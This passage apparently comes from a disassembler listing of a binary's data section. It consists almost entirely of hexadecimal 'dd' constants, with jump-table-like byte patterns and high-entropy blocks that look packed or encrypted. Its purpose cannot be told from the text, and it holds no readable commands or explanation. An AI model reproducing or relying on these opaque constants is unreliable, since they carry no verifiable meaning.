0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h, 0B814C953h dd 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h dd 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h dd 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h dd 0B814C953h, 0B814E453h dd 0B8147253h, 0B8143953h, 0B8149C53h, 5D198853h, 1764E941h dd 0E7680000h, 0E90608A6h, 0FFFB9D5Ch, 8A7BB68h, 9D52E906h dd 9568FFFBh, 0E90608A8h, 0FFFB9D48h, 8A94468h, 9D3EE906h dd 0EF68FFFBh, 0E90608AAh, 0FFFB9D34h, 8AC8D68h, 9D2AE906h dd 7468FFFBh, 0E90608ADh, 0FFFB9D20h, 8AE8168h, 9D16E906h dd 9A68FFFBh, 0E90608B0h, 0FFFB9D0Ch, 8B18F68h, 9D02E906h dd 6C68FFFBh, 0E90608B2h, 0FFFB9CF8h, 8B2FC68h, 9CEEE906h dd 6368FFFBh, 0E90608B4h, 0FFFB9CE4h, 8B9B068h, 9CDAE906h dd 0DE68FFFBh, 0E90608BAh, 0FFFB9CD0h, 52C06E89h, 0C250FA1Ch dd 7CEE88ACh, 0E2701E3Eh, 1D0FA7CCh, 4B68F109h, 0DBFBB9ABh dd 6E97D547h, 52046D4h, 70ADF765h, 0A9254911h, 0D2E7B7A1h dd 258ADCB7h, 3D5AA1A9h, 0B4581899h, 5FC790Ch, 441F3AE0h dd 58663DDEh, 0ADC4B150h, 3C2ECCE9h, 8AAF8B0Fh, 0A45A682Bh dd 95148CADh, 0A25BF8F2h, 2D0FC4A1h, 0FC4E4AE5h, 0C2DA5DE2h dd 6A560037h, 46CFAE98h, 0D4000000h, 7C571074h, 0A7A1806Ah dd 6C0A2E94h, 7649ECACh, 0ADA4915Bh, 0DDBC3DE5h, 0A1A29191h dd 1A9B3B59h, 1F9E4058h, 0A60BE1B6h, 0C7DEF510h, 0A1A29193h dd 83C0B56Dh, 8ECD79A9h, 6323AE98h, 2DD7A244h, 0D8h, 6C4762B6h dd 0A7A1807Ah, 94BD1C84h, 4FB74C0Fh, 25996Ch, 0C1A0FF5Ah dd 0A7A1F499h, 0ABCABF67h, 57F3168Ch, 41E300A2h, 44048525h dd 6C260584h, 58DAAF47h, 5E1C9D3Dh, 0CC8D9F3Bh, 0A7A1F1D3h dd 0C654F613h, 0BFE785A0h, 51626323h, 0E5FC5935h, 0ADA4E166h dd 95C5DCFBh, 63A1A210h, 0D242C6B3h, 742E4540h, 7434B54Dh dd 0A210C595h, 0F68333A1h, 0C86D494Dh, 0A4A16EE9h, 0F2AEAABh dd 44D67097h, 0E5000126h, 0A8C0DC8Ah, 9B7A3AABh, 0ABA8C0CFh dd 0D9C98909h, 28C46E26h, 0A9657CF5h, 0E2000014h, 713725C9h dd 1A7B555h, 93D143E3h, 2147D579h, 0E6F66402h, 0A6CD96h dd 9C365C12h, 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A92622h dd 5378CDCh, 942A38DEh, 1C5BC971h, 17321074h, 80F199F8h dd 970FA7A1h, 0ED0827E2h, 0A180C492h, 8CE732A7h, 0A7A180DAh dd 0C9BC7C24h, 0A4913B56h, 5C5DC5ADh, 0A291B13Dh, 76D68DA1h dd 988F02B4h, 0B57BAEh, 5000000h, 792BDBE0h, 7F9F35E5h dd 77BEC3C6h, 0C08067h, 0A6CD81h, 0C9B1EE81h, 0D4F1A7A1h dd 63862436h, 91F5C6C7h, 0E9E892B7h, 7352F7B7h, 0ADA4C8F4h dd 9D829000h, 1D381DF9h, 0A2E8D482h, 877222A1h, 46FD6948h dd 9B1BABA4h, 47DF04BEh, 0D47097D5h, 594909B1h, 28C443B0h dd 0D59B827Fh, 0BE000013h, 4D63F19Dh, 0DD938129h, 6F0D1FB7h dd 0FDB3A14Dh, 0DA2230D6h, 0DC7A99C2h, 680A284Eh, 59DC4FAh dd 96345117h, 4023FA84h, 0A1A92716h, 62E3D8E0h, 44660620h dd 0A56527A6h, 81A66424h, 759210E5h, 82D43D1h, 46474860h dd 33AC0E2Ch, 0D49415D5h, 5590614h, 0FBBB3AE0h, 882E3CDEh dd 0CAEC86Ch, 8A0BCB8Dh, 1F0DADC8h, 0FE9A0457h, 0D3EE0520h dd 0A180E6F0h, 83A210A7h, 0FB5A2FEFh, 0ADA4B038h, 647BE45Ch dd 99289E6Dh, 73D6B4D0h, 9F3B5E54h, 0D2F06BEAh, 825D5029h dd 81971151h, 5D33C65Bh, 0B3D7E4E5h, 1F1372D7h, 30AE3734h dd 0B42CBA15h, 6A2AAE36h, 0AC89099Fh, 0F373D915h, 87726AEDh dd 892F4A48h, 8DCFCE6Ch, 0FC195FCDh, 56C54E5Eh, 9F522652h dd 12FB84h, 0D7779000h, 67032745h, 0F591B7F5h, 87274167h dd 16B0D795h, 73E83004h, 2A0B254h, 9EDC4EE4h, 2B49DB77h dd 0A4FE6C0Eh, 28706679h, 0FE8EA1A9h, 3AE00585h, 300E8ABBh dd 9453BA15h, 4DF5ADA4h, 0DC7C99DFh, 515010BAh, 0EF4A286Ch dd 0A9309194h, 1633E3ABh, 74D1799Ch, 37104659h, 36EEABAAh dd 7F9AB343h, 0AA377264h, 61148CABh, 8302A8CDh, 0DEFAD6B2h dd 0C2DD7838h, 0A1A19327h, 0C9E441F1h, 0E90A0F36h, 6B1E28A5h dd 1E0CAECBh, 0B9DA643Fh, 4B8C86D2h, 39E104BEh, 330F8BB8h dd 34A4BF16h, 0F0A0BFB0h, 0D2E26DE0h, 0DCC7BA34h, 124Ch dd 0EA782641h, 1A08B2D4h, 0B4A64064h, 3A28D6F6h, 55C75F84h dd 3203941h, 93B3F163h, 264F6DFFh, 0BDD89E8Ch, 0A8750F1Dh dd 0A92981C9h, 542F7FA1h, 1E3ADE05h, 87477978h, 23C3E0A2h dd 15898C56h, 77BC49F1h, 0B3123713h, 0ADA49CF8h, 33A73E55h dd 0CDA1A29Ch, 0D7739755h, 6DE396D6h, 537634B5h, 0E207A5B7h dd 0C362B938h, 7B4B4F05h, 9C4134D9h, 0A43F1AF8h, 0ABA74ADDh dd 4762C77Fh, 0A68C7A6Ch, 691C84ABh, 952D5416h, 96345614h dd 0FD5F7C17h, 6E6BB50h, 0B9DE7E9Bh, 0CECF5D1Dh, 4CB6A837h dd 5A2F8276h, 3411EDA9h, 0A386D25Dh, 668C36A1h, 0AE8D0CCCh dd 0B14B1717h, 13E6D3DDh, 0D5D47693h, 0B941DB78h, 4445DD05h dd 4445E106h, 8CB14404h, 970F2A08h, 0E722D773h, 0AED4058Ch dd 0ADBF67BFh, 0E540EA0Fh, 0E3E3F7CEh, 0A51DBFACh, 0E3B92180h dd 0DF47BFACh, 0A2284B2Ah, 7ABFACF3h, 3D58C725h, 0CCE98F9Dh dd 61600A2Ch, 0C8CA6F2Fh, 0C88809A9h, 1571423Dh, 78791D3Bh dd 0C2DD7838h, 0B5A9C043h, 0C6DC0C55h, 66EAFDE0h, 1D91B4A6h dd 135352F8h, 1F5150F2h, 0D206AA5Fh, 4B6E4A4Eh, 4F6E2EAFh dd 542EF016h, 0D87D3D06h, 0BA2ACAF9h, 0FF279FB3h, 82329663h dd 26C2E19Dh, 27595806h, 4F076667h, 0F683B931h, 3E91B492h dd 89B29513h, 3C655974h, 846527A6h, 8D80D5D2h, 381742Ch dd 0DCFCB693h, 6D884732h, 0D56B7F56h, 2D958D80h, 1BBFDA58h dd 4D4E6B09h, 6AEF6C55h, 9213D33Ah, 8313B3D0h, 46DC9794h dd 0A1F7EE63h, 0EA000010h, 793F2DD1h, 9AFBD5Dh, 9BD94BEBh dd 294FDD81h, 0EEFE6C0Ah, 8AED58Eh, 0A43E641Ah, 31D1F0B6h dd 0C2688D23h, 0BC170E50h, 0A1A92A2Ah, 622F84D4h, 0B8E5B4C3h dd 0F653983Ah, 0A1E4CB9Fh, 0F88D35A7h, 0DC791D3Ah, 7E067A05h dd 0C5559B2Bh, 1B116F00h, 2333C686h, 0C3C2688Dh, 0EA88AEE4h dd 0E5F5CCEBh, 13A7A161h, 9C16E3A3h, 92D0D179h, 90D2D377h dd 0EF16D476h, 64395253h, 4A491B80h, 168928F2h, 458BAA6Eh dd 7A3C684h, 0F595B072h, 0A80B2667h, 0A7A1263Eh, 6EAD58D8h dd 0B49AF9BCh, 1A525h, 0E005BE00h, 0DEFBBB3Ah, 5A721E3Eh dd 1036F4B4h, 71317372h, 0FAD8BCE3h, 91C5445Fh, 6FD7ADA4h dd 90470F6Eh, 698FA1A2h, 698ECCCDh, 0C754CCCDh, 0D70EB865h dd 90B1D9B8h, 0D74FA1A2h, 5455ED15h, 0C82C6114h, 98936C1Eh dd 0CAA5C0AEh, 0A1A2989Ch, 5CFBA7Ah, 31h, 3010749Eh, 96B37313h dd 0A491903Fh, 0DF06BCADh, 42024243h, 42CD6443h, 0BCFB16D5h dd 84CE4134h, 0B8A1A227h, 35E1011Bh, 0AEAE97F8h, 0E8h dd 3AE00535h, 3ADCFBBBh, 0DDDEFBBBh, 0CCBD7B87h, 25E500h dd 0C2C36782h, 0C7C66880h, 0B130C585h, 5CFE189Ah, 20BA1B5Dh dd 8CF2C85Ah, 4164DEABh, 1ADA7C9Bh, 8A484908h, 7B9EA7A1h dd 3A5E4DDFh, 0EAE6F95Ch, 7DADA73Ah, 2EB0EAA2h, 897CF893h dd 63BE9B1Bh, 0DB7D6D44h, 1B9BA1A4h, 1F9E3C59h, 0ED0AA85Dh dd 7EA5DB49h, 8969C8D8h, 3BB622C0h, 0F0320h, 0CF6F8800h dd 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh, 0EA8CFEDh, 6BF0081Ch dd 0FAB8AA4Ch, 96D446DCh, 2341D36Fh, 0ACF66406h, 2C481E71h dd 0E6B6A1A9h, 13C3628Dh, 0A6655D41h, 7F7E183Ch, 2A887D3Dh dd 73960C0Dh, 0F796D6D7h, 0A7A1AEE3h, 0C2E7A51Dh, 27E79918h dd 0A8527735h, 4B1F768Dh, 0B5A7A1AEh, 0AE410968h, 7BFA7A1h dd 0D783E247h, 21A7A1AEh, 17E8471h, 1F3AE005h, 0D9CEA344h dd 0E19434BFh, 1A9CC8Eh, 92385D13h, 8A662213h, 88C8C96Dh dd 2F126DC8h, 0A9ADA46Ah, 0FD1E7BE9h, 3B000007h, 74D5851Ch dd 7323A1A2h, 0DE051586h, 0AC26B938h, 15A7A180h, 0D1B09571h dd 0ADAA242Ah, 0A04A6CD6h, 132E45E0h, 0D2D37793h, 23E7F392h dd 0A111A1A9h, 9F3B5ED4h, 20CAEF8Dh, 20C6EDA1h, 0C3D1BBB0h dd 8E894822h, 0E1Ch, 0BAA85671h, 2A38E204h, 44D67094h dd 0CA580626h, 65F78FB4h, 33500911h, 0C3E38193h, 567F3D2Fh dd 0ED08AEBCh, 9885DF4Dh, 0A92D5139h, 0A41FAFA1h, 1D38DE05h dd 76F3F242h, 0C5B02037h, 7F451C39h, 869EC548h, 0A3F6BEA2h dd 5C273302h, 0ABF015A9h, 116CC898h, 3BBA7A27h, 99BC5E7Bh dd 0E08068C6h, 542139BCh, 0F24A491Dh, 0A5802A4Fh, 0AD2CCAE9h dd 0C9F41EEBh, 0B49B2C1Dh, 1486h, 66261D00h, 7DA7A18Bh dd 0A0B343C9h, 7CE5A58Dh, 0FFFFFD8Eh, 0D6C36207h, 0D1ED9EF3h dd 86CC4732h, 3FA7A142h, 0E0489E5Bh, 0C7E33E70h, 8F072207h dd 8ACACB67h, 3E5CE62Bh, 0C0B500ACh, 0AA7FB241h, 43E65EADh dd 3822443h, 4299B441h, 5842640h, 0D9FCB643h, 72731733h dd 3CD77232h, 71D54F1Fh, 0B75F2A90h, 1336D4F1h, 0F6058E70h dd 0B346A7C1h, 7C991530h, 6C8B2BDEh, 60B36D2Bh, 6527A648h dd 15167044h, 33F04555h, 423F22C3h, 0D0F5Bh, 0BB638400h dd 4BEF0BA9h, 0D97D9BD9h, 6B13354Bh, 0FA9CBBF9h, 67FC1C68h dd 0F6B4A640h, 822032D0h, 1F5DCF63h, 0B0C250FAh, 2E5C0A65h dd 12BAA1A9h, 3206299h, 68BB4263h, 0FF90DA85h, 0ED8DA80Ah dd 0EF8BAEECh, 8E30484Ah, 0F5AAF8FBh, 0B0D7CF17h, 0A6C36316h dd 7B2F1604h, 0E4B49B3Ch, 0Dh, 8B6626FFh, 859CA7A1h, 0FFFFFCA6h dd 321074C8h, 9DBAF817h, 0CDB8F8F9h, 0A49F8B52h, 0D4D54DADh dd 0A29F3AB5h, 0D5C904A1h, 56F017ADh, 4AA2E396h, 9884EE98h dd 1D657AEh, 70320000h, 7232B353h, 9C261687h, 77A7A180h dd 3B0C2E68h, 30A28181h, 3291F6D7h, 0B3F35616h, 0B1F3F294h dd 0AACF73C4h, 395C1200h, 8D711091h, 0CA7A17Bh, 7228D6Fh dd 0C5C2F163h, 8DA8EAEBh, 1C397FEDh, 0A61C7F7Eh, 0FAA7A17Ah dd 0E03FC725h, 0A17CD981h, 8A7F27A7h, 9AA7A357h, 1761CB4h dd 26F90000h, 4B46BFC2h, 0A411E43Ch, 1C38E005h, 7B3BBA7Ah dd 79AEBC5Eh, 0C9E4411Dh, 0A180E0F6h, 0D3A61EA7h, 91DA5D34h dd 0DC77ADA4h, 62FC1248h, 2FCFE91Ah, 5B2EEEAEh, 694C4DF5h dd 0CD0A0AD6h, 0C4AC0DA5h, 45DCA901h, 0A1A29A09h, 74BE9E35h dd 71701E3Eh, 0E3974A3Fh, 5CAE9889h, 48h, 0FEC36267h, 0DB83A5C3h dd 0E1EE58FAh, 0CFABEF14h, 3EB44F6Ah, 100CA654h, 335204E5h dd 0F4ACA7A1h, 33687E51h, 2E96A7A1h, 8E25BC5Bh, 0AAADA422h dd 6E2ED0E8h, 44460C6Fh, 0A57AA1A2h, 0DBF3A747h, 0B46CAE97h dd 77000000h, 0BB3AE005h, 1938DCFBh, 78387879h, 0BB2F86DDh dd 45A7A180h, 154928DDh, 0B4B4AF0h, 56E94CEEh, 66C75E61h dd 259EEE12h, 5669CE2h, 6BA2B045h, 4C6A0A2Bh, 0B5F7F6B6h dd 6FE841C0h, 0FB1EA7A1h, 0BADECD5Fh, 1E4579DCh, 7F568D78h dd 0ADA62171h, 18BAD8DAh, 0BE12E799h, 4647DF04h, 0A3E34606h dd 5570E284h, 0EF9A3859h, 71943057h, 0B69909C9h, 4522C1EBh dd 0AF6958Ch, 7C9F0000h, 82240D2h, 96B2F062h, 2C4C62F0h dd 0B5D29082h, 0E33B0311h, 0AFBD597Eh, 0DB49E909h, 74E67CA5h dd 0E5771336h, 776342DBh, 81A1A930h, 0DE0582F9h, 71942A38h dd 621C5BC9h, 62630320h, 807A6C47h, 1C84A7A1h, 0F015A95Ch dd 0EE0B4B4Ah, 39C3DE4Ch, 8A000004h, 0FE9A040Bh, 66AA0520h dd 80ADAA24h, 86020F10h, 0DEF28DA8h, 4332821Ah, 4867A257h dd 8104522Dh, 0D8BBA1A9h, 0A1A9818Eh, 7C24C848h, 85BB1689h dd 5DC5ABACh, 79BBAF8h, 84174322h, 31E1ABAAh, 4A2D44h dd 3CABAA84h, 267D8567h, 0AA841B4Fh, 163FE5ABh, 7B3B7D7Ch dd 9F9F4B8Eh, 8318A890h, 0A3000003h, 2D5BC362h, 6A19FE5h dd 0F38646E4h, 0A1835A10h, 8324B1A7h, 1773A7A1h, 0F9471E3Bh dd 0A4E47FC7h, 0F78BAB69h, 4C3B6F6h, 0A4AE22ADh, 4E5EC6ADh dd 22BE7E0Bh, 17E5918h, 8A00000Ah, 195FCD71h, 0A9CF5DFDh dd 3B79EB8Bh, 0C9EF7D21h, 0E1E0CAAh, 0A84E75EEh, 44DE04BAh dd 0D17190D6h, 62082D43h, 1C77AEF0h, 0A1A9314Ah, 58FE4B4h dd 9CBB3AE0h, 64650126h, 80786E41h, 1E86A7A1h, 1E7AAB5Eh dd 0F7CEE540h, 0A7A180E3h, 35D0A51Dh, 0AA24535Ah, 968B5ADh dd 0A1A92441h, 0D54707BFh, 725A2E6h, 0B6A90D9Fh, 52F410D2h dd 0F4511153h, 0A2598E9Dh, 0EF4ACAABh, 3E7D1654h, 9B6E6559h dd 8220467Ch, 0DBF9B590h, 0FFABA3Bh, 0B05EE694h, 88454FABh dd 9295D73Fh, 0EE15D773h, 0E49A8848h, 650126BEh, 0AE012464h dd 0ABB02038h, 1F9E5EC6h, 0B5903A5Fh, 2053079Eh, 0F5ADABB0h dd 484A6100h, 48088929h, 361470BDh, 2DD5B013h, 0BF67A1B5h dd 0CFDB742Fh, 0D7CE832Eh, 924h, 0B2A04E69h, 2230DAFCh dd 5CCE688Ch, 0C250FE1Eh, 7DEF87ACh, 2B481169h, 0BBDB998Bh dd 4E773527h, 0E500A6B4h, 908DD745h, 0A932A931h, 0AC0757A1h dd 0B8BFC362h, 187903B9h, 6E4A06Dh, 0CF554023h, 0FFA7ADAAh dd 983A585Ah, 34CEF48Ah, 0FC1C96B5h, 64115352h, 5AFFDBBFh dd 0A3AB307Bh, 0EFC61DABh, 0ABB3B3FBh, 64E89D05h, 8C083DBCh dd 0EB0B8BAEh, 33165657h, 0B3B30650h, 0B540F0ABh, 0A698079Eh dd 3CE4A1B6h, 0D07501ACh, 48530E2Eh, 894h, 2230DEF9h, 52C06A8Ch dd 0CC5EF81Ch, 72E08EAEh, 0ED7F173Ch, 0BBD88199h, 4B6B091Bh dd 0DE07A5B7h, 7590D644h, 0E03D47D5h, 0A932D981h, 1C9727A1h dd 8FDBE005h, 304FB9E0h, 0EE81A464h, 0B7566742h, 0EA85708Ah dd 0ECED8DA8h, 0EAEB87AEh, 0EDEC8EA8h, 2ECCE9ABh, 5BB1C6AFh dd 56D36E17h, 0D4944DDBh, 63AB8106h, 60610523h, 0DA1B8120h dd 0A088BBA1h, 9C3C59D5h, 91D3D27Ch, 9312B4D3h, 120311D1h dd 0B49B7868h, 151D1h, 0E005EA00h, 0DEFBBB3Ah, 9DF92E3Ch dd 0B64964C1h, 0F94903AFh, 0EAFCD7C2h, 14A7A151h, 8619ECACh dd 0ADA44007h, 993D5A58h, 3FAD5818h, 0FBBB6385h, 61D39BFAh dd 30EFA1A2h, 719012D4h, 45F124D1h, 0BEAE97C2h, 29h, 62C362C5h dd 16EAEAA0h, 1D79AA5Fh, 0E68DE441h, 2ADA4CCh, 7A701392h dd 46A1A2EEh, 0C773B389h, 30AE9831h, 0A8h, 120624Bh, 55206061h dd 3B1EBCD9h, 0B1585D7Bh, 10AC6BF0h, 20606121h, 3B581A55h dd 3D581A9Bh, 66391C9Dh, 95EC4230h, 0A7A1AAC5h, 0F3228333h dd 9529DC7Ch, 0BDB22B70h, 0BE57094Ah, 0A46D6CFEh, 0E2A7A188h dd 23123C7h, 328DA886h, 0ADA71FBEh, 0E9537E11h, 20301B3Dh dd 0EA4FF755h, 79EB8BA8h, 6A7A1C3Bh, 22C0B24Dh, 2D3C27DAh dd 66000007h, 0F58B9945h, 853B29D1h, 1755C75Fh, 0A5DB49F5h dd 624AD87Eh, 8422411Ah, 10B2D096h, 0AD456C02h, 3EDCF9BFh dd 288B922Ch, 0A1A934BEh, 5BB3058h, 942A38DEh, 1C5BC971h dd 1F3AE005h, 80F9E1C0h, 9F07A7A1h, 6B1EB4DDh, 0BF162D08h dd 0A7A1802Bh, 0AF4B6FD5h, 0DBAE6E2Eh, 0B99C3E5Bh, 58C960E6h dd 0E5C4D0EFh, 43C2D3BEh, 0F519EC7Dh, 53ECh, 0D30BF700h dd 0D4714D49h, 80B026B9h dd 0D64EA7A1h, 808DE423h, 0A9ADAA24h, 0AA2BD3F5h, 9891FEAh dd 0C3740F16h, 40DBD9DBh, 3ECFAD5h, 0AA6AA1A9h, 4A91FEAh dd 520FE9Ah, 0A2A760AAh, 11E86ABh, 0DC7E981Ah, 4D3A9BDDh dd 7B488373h, 4741986Dh, 4000000h, 17321074h, 0A4B3FDBCh dd 82A71FADh, 0B441E100h, 43115A3Dh, 0A1F2A1A2h, 17F1954Bh dd 0AD8848F2h, 0A79053D2h, 92B6ECABh, 0C6B3F5F4h, 4540D242h dd 8F30F5AAh, 0A75BA234h, 0C5E45CABh, 0C2B76112h, 0BD3Bh dd 10744200h, 0BAF81732h, 0C686079Bh, 245D5033h, 5BFADAAh dd 0E27939E1h, 0A3403BD2h, 0FBED9949h, 4343AE92h, 4E0E8F23h dd 7C89BBh, 62120000h, 61600220h, 0EDA95A2Fh, 46193411h dd 5C31AC37h, 39A1002Dh, 0C7A7A10Fh, 863E9F5Fh, 47DA6A64h dd 0D5DBBA4Fh, 37ADAA60h, 2D0BAA8Fh, 67E08327h, 0D9EB7005h dd 83227B34h, 0D8E5BCDBh, 0F443162h, 6E49FD2Dh, 2FB2AE93h dd 0C9000000h, 17321074h, 0AA2477BCh, 3A2191ADh, 0E789A3E3h dd 656424BEh, 247B6F46h, 1D85A1A9h, 7104A85Dh, 6383993Eh dd 0AE92FFB7h, 1520h, 2062BB00h, 3D946101h, 0A7A19A19h dd 9353F311h, 0FFFEFF8Ah, 1074D1FFh, 7A9F1732h, 0EA9FD1D0h dd 7692102Fh, 5EF412D0h, 0E9681D5Fh, 0ADAA258Ah, 280F8E36h dd 2524B20Dh, 62D2A1A9h, 4C2A6E97h, 276356E9h, 0DA3A51FDh dd 9591F02Fh, 0F3ABA205h, 15714243h, 22451C39h, 69CC537h dd 0EDE4C587h, 942E540Ah, 0E6935315h, 0ADAD482Bh, 8C06A1BAh dd 5137C26Ch, 752944E1h, 7537B64Ch, 62082280h, 0EBC7C3F0h dd 808774Eh, 0CB4BFB3h, 71901229h, 4D1D74D1h, 8BBF8052h dd 9DC47E0Bh, 0F287BAE4h, 33F30A6Eh, 4DE5A021h, 0FC1927E9h dd 1C9D355Ch, 0E88E9C5Ch, 3A00CCCDh, 1EF05554h, 2A6E5F5Eh dd 0F3D2E94Ch, 17E914E7h, 0C5E3A111h, 15E0A021h, 3D1CE7FEh dd 0F8B81DECh, 6DCFECF9h, 1103A7C2h, 11903253h, 0AA689B3Ah dd 571E7E5Ch, 0A5E600A2h, 739DF097h, 0F9F8B89Fh, 9658BC1Fh dd 0AB5EF81Ch, 0DA48EA0Bh, 0E4E57DA4h, 31CC07A8h, 742FBB1Ah dd 692911EAh, 0BA65C79Ch, 46DC059Bh, 0D7450547h, 0EEF8DBF6h dd 6811EA75h, 7458DDA8h, 0FDB1300Eh, 6A7C57D8h, 94A7A180h dd 80607649h, 269EA7A1h, 8E27A666h, 0B7DD13E9h, 0A2F4DDFh dd 25C9FB60h, 0D178DC61h, 750916B4h, 4928A951h, 0A7A18001h dd 0DE41DBF8h, 6E0C1EBCh, 148EAB47h, 6C4B4AF4h, 0A1804515h dd 4303B3A7h, 9A183FB6h, 325E77Bh, 0BC37AE5Bh, 0AAA7A180h dd 0B0CF17F5h, 0A18089D1h, 0FA86BAA7h, 9F9E0A7Ah, 842241F3h dd 547D31C4h, 0E12DACBEh, 2BA7A110h, 9AF76916h, 0FF79DCB4h dd 62E7FFFFh, 0E354AC47h, 34985FD8h, 0A1DC0555h, 0B643F3A7h dd 2331D9FCh, 0BE23688Dh, 28F14628h, 294DD696h, 0CBCB6E0Ch dd 0CB8D0CAEh, 7999DD3Eh, 5A1ABCDBh, 8EFBF85Bh, 9E0F1571h dd 9F1EB8DCh, 55B1D9B8h, 0D74FA7A1h, 0F9A68605h, 5FC25AF9h dd 8C8F903Ah, 0B49ACADAh, 279FBF56h, 0EBD63649h, 30D61Eh dd 0F3B30000h, 0D14A3FD3h, 17321074h, 0D0D17D9Fh, 572EE590h dd 0ADAA245Fh, 5262F9B9h, 64C063BCh, 57F2D0B4h, 0A280367Ch dd 7FE050ABh, 5F18h, 10746300h, 76BC1732h, 90ADAA24h, 0C5E03B20h dd 2483D7AEh, 0C57DA1A9h, 0A924B224h, 3CAA05A1h, 0DAA1A924h dd 7B0EB65Ah, 0D1F11EB5h, 0D5F2B031h, 3A95B031h, 0A1A924ACh dd 7203EAAAh, 2D62359Ah, 0CDE807CFh, 0A924E4F2h, 0C3A212A1h dd 0A1A92497h, 1FC4B161h, 0DBBA9F7Bh, 0ABA280D3h, 0D5928D35h dd 0BB3AE005h, 2E3CDEFBh, 1A209DF9h, 47E701F1h, 39EDE066h dd 42C5DC79h, 56ADA447h, 0CAC8EFEEh, 8763EBB0h, 0F14FA3Dh dd 0CF678D4Fh, 18FB8ECEh, 0A1A23F52h, 8B5BB16Eh, 0AE97E4DFh dd 3758h, 10746300h, 0B47C1732h, 3046D877h, 0D4AF6A1Fh dd 0ADA48DB9h, 0BBDADB5Bh, 0A1A2AD33h, 2AF4500Fh, 0AE987280h dd 0D7F9h, 0C6E6DC00h, 31069918h, 0C55DB789h, 76E79252h dd 1C38E005h, 7B3BBA7Ah, 7B3BBA5Ch, 793DBC5Eh, 69ACBE5Ch dd 6840D0D6h, 9E6B5EF2h, 0A1601A07h, 8D2D48A7h, 1EBCD99Fh dd 0CEAAE9Fh, 27B31229h, 0D1A7A16Ah, 66799461h, 0ADA44EFFh dd 9C477819h, 0BC3003Dh, 174948EAh, 96859757h, 1A3114F2h dd 28DD7D98h, 0A30035A9h, 0F653C3ABh, 62EEF8DBh, 4968ABA8h dd 0BD7620D2h, 877232C8h, 892D4A48h, 18BEE59Bh, 0C4B9F988h dd 504B0628h, 1E0h, 7EEC92B5h, 0EE7C1E38h, 180AACC8h, 8E9C425Ah dd 392BCBE8h, 6F94CD2Dh, 0FF2745D7h, 92B3F163h, 294C62F0h dd 54C19381h, 0A9396D7Dh, 0E8C3EBA1h, 1D38DE05h, 21E383A1h dd 22626303h, 0CCE98F57h, 0A5193C2Eh, 0A912E77Fh, 17321074h dd 0A49111BCh, 28333ADh, 0A2926B63h, 5CB857A1h, 988DD882h dd 11741AEh, 0E9040000h, 0A29EC096h, 0F3863EA1h, 420620Ah dd 54216362h, 3A1FBBDEh, 39B85A78h, 0B3F3F287h, 0D4F3F294h dd 0DF81253Dh, 643A1412h, 0B0789CFEh, 99780DCDh, 0A7A18EB8h dd 3CECBEEh, 33424D81h, 677352F7h, 91A7A1F8h, 0BDF36121h dd 0C2F3F298h, 0A4328DC6h, 52A7A1F8h, 0AC0722E2h, 0ADA4DCB5h dd 0DA84A41Eh, 0F5E5FCDBh, 3A1A21Ch, 0A226D393h, 1CAA3C97h dd 0EC54A1A2h, 7195092Ch, 0E1D63CC9h, 516CC9A5h, 850C5BBEh dd 3D18D503h, 0A2E734A2h, 0A752C2A1h, 0A4490D2Ch, 0D2772FABh dd 3DD9FFB7h, 0C9BC567Fh, 0BAA84E75h, 0F620C063h, 14B11024h dd 8524F8DFh, 7C5D49Ch, 0FDB144DEh, 1BA030D6h, 0E828C495h dd 0B26E69h, 0C0DB0000h, 4C6E0C1Eh, 0DAFEBCAEh, 70882E3Ch dd 0F91E5CCEh, 9FFFCF5Dh, 6BF99DBAh, 87952D55h, 3022C0E1h dd 0A1B35772h, 3BAF061Fh, 0C5A1A93Ah, 0DE053EB5h, 0B3F32A38h dd 0AF07F294h, 0AA45E08Ah, 7B5A0B4Ah, 0A7A1896Fh, 258829E9h dd 5BAB5ED3h, 3AE0051Ch, 59DEFBBBh, 0A1801046h, 7636EEA7h dd 7A3C6E4h, 3AAC0722h, 0C4A7A180h, 0DA789E5Ch, 84A1C72Fh dd 384E7E6h, 0DAEEF726h, 0A71F2705h, 962CD985h, 2745D773h dd 0A6FD5802h, 0F4259BCFh, 98BD65E0h, 0F4255139h, 2F7AFE0h dd 65092363h, 926A0F64h, 0F2600A2Fh, 0F0F199BCh, 3E9h dd 1A61EC00h, 0BD3CE205h, 0BF3EDCF9h, 0BD3CD6FFh, 0B839D9F9h dd 2 dup(0B839DDFAh), 0BD3CE2FAh, 0BA3BDBF9h, 0BD3CDEF8h dd 0E68956FAh, 4C681h, 0EE830000h, 24348704h, 5724248Bh dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 89512434h, 4C181E1h dd 83000000h, 0C8704E9h, 2C895C24h, 89BD5524h, 81608D7Dh dd 85D805F5h, 4815566h, 40673924h, 0EE815E55h, 55406739h dd 4EC815Dh, 89000000h, 4812424h, 424h, 53565D00h, 231C44BBh dd 245C011Eh, 458F5B04h, 86D8108h, 1E231C44h, 5D2434FFh dd 8B04C483h, 89572434h, 4C781E7h, 83000000h, 3C8704C7h dd 0DE95C24h, 0A4FFFB86h, 0E2BBD0DFh, 0F11B9F04h, 0B5B83540h dd 30608BBh, 23E0FFC5h, 0B20D2F23h, 0E060170h, 7F1E9101h dd 715F39DCh, 323DC927h, 0D66134DEh, 0DA3FD159h, 3448D921h dd 5CE4B3h, 36694355h, 9D76F00Fh, 0E41D3C86h, 0D939DA14h dd 725E0BBCh, 151AEA56h, 341D225Ah, 0B53CF96Ch, 477A4E0h dd 5842383Ch, 982D209Dh, 0A76D9DD9h, 0E95FE7A6h, 98h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) a_moqs db '.MŽqéÖ',0Bh,0 dd 0BEF06800h, 0FEE90608h, 68FFFABFh, 608BFFEh, 0FABFF4E9h dd 0C12068FFh, 0EAE90608h, 68FFFABFh, 608C194h, 0FABFE0E9h dd 0C2F068FFh, 0D6E90608h, 68FFFABFh, 608C364h, 0FABFCCE9h dd 0C65A68FFh, 0C2E90608h, 68FFFABFh, 608C791h, 0FABFB8E9h dd 0F3F487FFh, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h, 0F899CFF0h dd 33F16ABEh, 0BD4F7106h, 0A2432A3Eh, 0F7B0472Ah, 9EFB5322h dd 